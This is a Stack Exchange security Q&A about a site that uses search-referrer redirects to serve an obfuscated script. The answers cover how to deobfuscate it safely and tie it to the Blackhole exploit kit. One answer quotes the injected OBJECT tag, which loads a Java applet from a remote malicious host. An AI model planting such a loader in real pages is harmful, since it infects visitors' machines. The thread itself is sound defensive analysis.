Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I do not normally deal with internet security problems but this one has got me interested.

The issue is with a specific site, lets say example.com, and how it it visited.

If the address is typed directly into the browser, the website works fine.

If the address is searched in google/bing/yahoo and followed, a 302 redirect is given leading to: a gambling site, an error page, or a web page that only contains an encoded script.

My question here is, how can I identify what this script is doing?

The script captured can be found in the following paste bin. http://pastebin.com/6uV7M4nJ

share|improve this question
    
Do you go to the same website when you try to look up any other websites, or are they different? –  ekaj May 22 '13 at 0:16

2 Answers 2

up vote 4 down vote accepted

You can carefully replace unsafe calls and properties like eval and innerHTML and then run the script. To be safe, turn off all browser plugins. To be safer, you could do this in a virtual machine.

I've done this for your paticular file. The following happens:

  1. A Java file is loaded using <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-080C6F74284" width="1" height="1"><PARAM name="app" value="http://fjetymxvbndyz.bounceme.net/fine/beliees_rights.php?jnlp=b00725b396"/></OBJECT>

  2. This script is loaded. It's a browser plugin version detection library with a payload that checks version and loads different files depending on plugins. Here is a beautified version without the library.

share|improve this answer
    
This code is very similar to Blackhole exploit kit's code, so it is probably a website infected with Blackhole or a similar kit. –  Anorov May 22 '13 at 0:30
    
What would you replace the eval or innerHTML to? –  Danial Wayne May 22 '13 at 16:54
    
@DanialWayne console.log –  copy May 22 '13 at 19:26

Looks like the Javascript that you're looking at is obfuscated. This is general practice if you don't want your users to know what your script is doing. My guess is it may be looking at the referred header and if its is from any of those sites that you say, it simply redirects it. This should ideally be done on the server side, but even then it is pretty trivial to overcome and go to the correct page.

share|improve this answer
    
Yes I agree that it is trivial to bypass, but for the bulk of people that find this site the redirect would be followed, but their antivirus would not catch it. –  Danial Wayne May 23 '13 at 16:34

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.